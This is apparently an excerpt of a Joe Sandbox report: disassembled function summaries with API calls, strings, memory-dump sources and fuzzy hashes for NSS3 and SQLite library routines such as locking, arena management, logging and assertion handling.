Function 6CE48CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CE5124D,00000001), ref: 6CE48D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CE5124D,00000001), ref: 6CE48D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CE5124D,00000001), ref: 6CE48D73
PR_Unlock.NSS3(?,?,?,?,?,6CE5124D,00000001), ref: 6CE48D8C

Part of subcall function 6CEDDD70: TlsGetValue.KERNEL32 ref: 6CEDDD8C
Part of subcall function 6CEDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEDDDB4

PR_Unlock.NSS3(?,?,?,?,?,6CE5124D,00000001), ref: 6CE48DBA

Strings

KRAM, xrefs: 6CE48D3E
KRAM, xrefs: 6CE48CF9

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 3d5ba525260589979b8e267572cc5c718a9b62d6d86be53eed952c5dc75b43b2
Instruction ID: 006a83d4f3acb8a48711ae45af0f965a5fa7ff75311bf5be7a014912491648f0
Opcode Fuzzy Hash: 3d5ba525260589979b8e267572cc5c718a9b62d6d86be53eed952c5dc75b43b2
Instruction Fuzzy Hash: 02217CB5A056018FCB50AF38D48466ABBF4FF45318F25C96AD999C7701E734E842CBD1

Function 6CE6ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CE6ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE6AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE6AD23

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE6AD39

Strings

(CK_INVALID_HANDLE), xrefs: 6CE6AD1C
hSession = 0x%x, xrefs: 6CE6ACFE, 6CE6AD0E
C_MessageDecryptFinal, xrefs: 6CE6ACE1

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 5d4f73bb31b50bb0c957b4fad14fdd8d597e1130bdd3f078c99cf6d2b24a0d22
Instruction ID: 02d6715dab53680bec57f5f6c51d04dd1bcffb8f86f02e2284a4571e6ceac28c
Opcode Fuzzy Hash: 5d4f73bb31b50bb0c957b4fad14fdd8d597e1130bdd3f078c99cf6d2b24a0d22
Instruction Fuzzy Hash: 19216430EA0110AFDF409F24DC88B6A37B1AB4230EF144429E80997F12DB319848CBD2

Function 6CF40ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF40EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF40EFA

Part of subcall function 6CE2AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE2AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF40F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF40F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF40F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF40F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF40ED9, 6CF40EE5, 6CF40F06, 6CF40F0B
Aborting, xrefs: 6CF40EB3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 64256cfd5991d57008e64d20dbf770897c368957a65bc224a7ce4a1effc81dad
Instruction ID: aff7d3ede23763530c6a55f00ded72789ad17e1951e4a541330e338b2d51089f
Opcode Fuzzy Hash: 64256cfd5991d57008e64d20dbf770897c368957a65bc224a7ce4a1effc81dad
Instruction Fuzzy Hash: 8F01C0B6910104BBDF01AFA4EC45EAB3F3DEF47374B408025FD0987702D675E95086A2

Function 6CF21C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=l,?,?,6CE24E1D), ref: 6CF21C8A
sqlite3_free.NSS3(00000000), ref: 6CF21CB6

Strings

a generated column, xrefs: 6CF21C6C
a CHECK constraint, xrefs: 6CF21C76, 6CF21C81
an index, xrefs: 6CF21C67
non-deterministic use of %s() in %s, xrefs: 6CF21C85
w=l, xrefs: 6CF21C44

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=l
API String ID: 1840970956-366597085
Opcode ID: 2e974e0984b47ca628744e71ddd7e0c1e275bcfbc775cbfa34b1b9f2e2069afe
Instruction ID: c98fd3637dd2df46dc57600896d96c34bf9d2562d13197fbf74d195d336b6e23
Opcode Fuzzy Hash: 2e974e0984b47ca628744e71ddd7e0c1e275bcfbc775cbfa34b1b9f2e2069afe
Instruction Fuzzy Hash: 6E01D4B5A001405BD700BF69D4029B277E5EFC634CB15486DED899BB12EB22E856C7A1

Function 6CF04D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF04DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF04DE0

Strings

misuse, xrefs: 6CF04DD5
invalid, xrefs: 6CF04DB8
%s at line %d of [%.10s], xrefs: 6CF04DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF04DCB
API call with %s database connection pointer, xrefs: 6CF04DBD

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 37b2d89cb412daaa4931fea6eb624e4ade0fd7cc7f6fae8b2b6cb6461ee80b2b
Instruction ID: 5166f98ed68b1dad6adbc483adeed62fa99d86a7677cbcb3fcb2ef1c1cbe6e9e
Opcode Fuzzy Hash: 37b2d89cb412daaa4931fea6eb624e4ade0fd7cc7f6fae8b2b6cb6461ee80b2b
Instruction Fuzzy Hash: 69F0E912F165642BD7005117DC30FD67B954F26719F4609A1FD04ABE62D2079C60D3E1

Function 6CF04DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF04E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF04E4D

Strings

misuse, xrefs: 6CF04E42
invalid, xrefs: 6CF04E25
%s at line %d of [%.10s], xrefs: 6CF04E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF04E38
API call with %s database connection pointer, xrefs: 6CF04E2A

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: b02d5acd16eede5164978b9acdbac20610a815d536c565c3d7f5872d4944ff8d
Instruction ID: 55f0c68c80edd39ea05c540b5fef918eb4b30fe34c6b7bc52c271fb0a1299a5c
Opcode Fuzzy Hash: b02d5acd16eede5164978b9acdbac20610a815d536c565c3d7f5872d4944ff8d
Instruction Fuzzy Hash: 2DF02721F859282BEA1013279C70FD73B858B22729F0944E1EB0867FB2D306AC6052E1

Function 6CE39FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE3A086
EnterCriticalSection.KERNEL32(?), ref: 6CE3A09B
PR_Unlock.NSS3(?), ref: 6CE3A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE3A0E9
TlsGetValue.KERNEL32 ref: 6CE3A11B
EnterCriticalSection.KERNEL32(?), ref: 6CE3A12F
PR_Unlock.NSS3(?), ref: 6CE3A148

Part of subcall function 6CE51A40: PR_Now.NSS3(?,00000000,6CE328AD,00000000,?,6CE4F09A,00000000,6CE328AD,6CE393B0,?,6CE393B0,6CE328AD,00000000,?,00000000), ref: 6CE51A65

Part of subcall function 6CE51940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CE54126,?), ref: 6CE51966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE3A1A3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 9534f799e3fd66e9fe843d5e314f740e9fd094d09446c1964ed9b8e25568e02a
Instruction ID: a43d75f3827af7fc78b3fd6fa5b6275a39ed10c80c646337806aa97f794cde98
Opcode Fuzzy Hash: 9534f799e3fd66e9fe843d5e314f740e9fd094d09446c1964ed9b8e25568e02a
Instruction Fuzzy Hash: 08510AB2E402109BEF109FA5DC44AAB77B8AF8630CB35912DDC1D97701EB35F885CA91

Function 6CE70C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CE71444,?,00000001,?,00000000,00000000,?,?,6CE71444,?,?,00000000,?,?), ref: 6CE70CB3

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE71444,?,00000001,?,00000000,00000000,?,?,6CE71444,?), ref: 6CE70DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CE71444,?,00000001,?,00000000,00000000,?,?,6CE71444,?), ref: 6CE70DEC

Part of subcall function 6CE90F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE32AF5,?,?,?,?,?,6CE30A1B,00000000), ref: 6CE90F1A
Part of subcall function 6CE90F10: malloc.MOZGLUE(00000001), ref: 6CE90F30
Part of subcall function 6CE90F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE90F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CE71444,?,00000001,?,00000000,00000000,?), ref: 6CE70DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CE71444,?,00000001,?,00000000), ref: 6CE70E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CE71444,?,00000001,?,00000000,00000000,?), ref: 6CE70E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CE71444,?,00000001,?,00000000,00000000,?,?,6CE71444,?,?,00000000), ref: 6CE70E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE71444,?,00000001,?,00000000,00000000,?), ref: 6CE70E79

Part of subcall function 6CE81560: TlsGetValue.KERNEL32(00000000,?,6CE50844,?), ref: 6CE8157A
Part of subcall function 6CE81560: EnterCriticalSection.KERNEL32(?,?,?,6CE50844,?), ref: 6CE8158F
Part of subcall function 6CE81560: PR_Unlock.NSS3(?,?,?,?,6CE50844,?), ref: 6CE815B2

Part of subcall function 6CE4B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CE51397,00000000,?,6CE4CF93,5B5F5EC0,00000000,?,6CE51397,?), ref: 6CE4B1CB
Part of subcall function 6CE4B1A0: free.MOZGLUE(5B5F5EC0,?,6CE4CF93,5B5F5EC0,00000000,?,6CE51397,?), ref: 6CE4B1D2

Part of subcall function 6CE489E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE488AE,-00000008), ref: 6CE48A04
Part of subcall function 6CE489E0: EnterCriticalSection.KERNEL32(?), ref: 6CE48A15
Part of subcall function 6CE489E0: memset.VCRUNTIME140(6CE488AE,00000000,00000132), ref: 6CE48A27
Part of subcall function 6CE489E0: PR_Unlock.NSS3(?), ref: 6CE48A35

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 9d7f0fadea7e51edb453e433bcb987ee16fb4985d99d4b4b2bf8200b2b62c456
Instruction ID: d7419df139e3d4eb81fc2e65cc09c2a19dcbd8c1b6713532e920065e176bea2e
Opcode Fuzzy Hash: 9d7f0fadea7e51edb453e433bcb987ee16fb4985d99d4b4b2bf8200b2b62c456
Instruction Fuzzy Hash: 295196B6E012005FEB109F64DC81AAB37B8DF4525CF650468ED1997712E722ED19C6B2

Function 6CE26E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CE26ED8
sqlite3_value_text.NSS3(?,?), ref: 6CE26EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CE26FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CE26FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CE26FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CE27010
sqlite3_value_blob.NSS3(?,?), ref: 6CE2701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CE27052

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: f4d478030571e98da9c85d381be4c86d345541534886824d0e47194e7e25b9eb
Instruction ID: c74a8b5526c91aa7dad724a8aa14f0c84aeed0c05e4d1bbe4d50fbc10066dafa
Opcode Fuzzy Hash: f4d478030571e98da9c85d381be4c86d345541534886824d0e47194e7e25b9eb
Instruction Fuzzy Hash: 0661C4B1E142058BEF10CF64C801BEEB7B6AF45308F384269D815AB751E73A9C1ACB90

Function 6CE98F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CE97313), ref: 6CE98FBB

Part of subcall function 6CE907B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE38298,?,?,?,6CE2FCE5,?), ref: 6CE907BF
Part of subcall function 6CE907B0: PL_HashTableLookup.NSS3(?,?), ref: 6CE907E6
Part of subcall function 6CE907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE9081B
Part of subcall function 6CE907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE90825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CE97313), ref: 6CE99012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CE97313), ref: 6CE9903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CE97313), ref: 6CE9909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CE97313), ref: 6CE990DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CE97313), ref: 6CE990F1

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CE97313), ref: 6CE9906B

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CE97313), ref: 6CE99128

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: c386fd133b546324cbac9feef07415c2fa088764739986d3e6a87643e7f12784
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 3D517371A002018FEB109F6ADC45B2AB3F9BF4535CF364169D929D7B61E731E805CB91

Function 6CE49C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CE48850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CE50715), ref: 6CE48859
Part of subcall function 6CE48850: PR_NewLock.NSS3 ref: 6CE48874
Part of subcall function 6CE48850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE4888D

PR_NewLock.NSS3 ref: 6CE49CAD

Part of subcall function 6CEF98D0: calloc.MOZGLUE(00000001,00000084,6CE20936,00000001,?,6CE2102C), ref: 6CEF98E5

Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207AD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207CD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207D6
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDB204A), ref: 6CE207E4
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,6CDB204A), ref: 6CE20864
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE20880
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,6CDB204A), ref: 6CE208CB
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208D7
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208FB

TlsGetValue.KERNEL32 ref: 6CE49CE8
EnterCriticalSection.KERNEL32(?,?,6CE4ECEC,6CE52FCD,00000000,?,6CE52FCD,?), ref: 6CE49D01
TlsGetValue.KERNEL32(?,?,?,6CE4ECEC,6CE52FCD,00000000,?,6CE52FCD,?), ref: 6CE49D38
EnterCriticalSection.KERNEL32(?,?,6CE4ECEC,6CE52FCD,00000000,?,6CE52FCD,?), ref: 6CE49D4D
PR_Unlock.NSS3 ref: 6CE49D70
PR_Unlock.NSS3 ref: 6CE49DC3
PR_NewLock.NSS3 ref: 6CE49DDD

Part of subcall function 6CE488D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE50725,00000000,00000058), ref: 6CE48906
Part of subcall function 6CE488D0: EnterCriticalSection.KERNEL32(?), ref: 6CE4891A
Part of subcall function 6CE488D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CE4894A
Part of subcall function 6CE488D0: calloc.MOZGLUE(00000001,6CE5072D,00000000,00000000,00000000,?,6CE50725,00000000,00000058), ref: 6CE48959
Part of subcall function 6CE488D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CE48993
Part of subcall function 6CE488D0: PR_Unlock.NSS3(?), ref: 6CE489AF

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
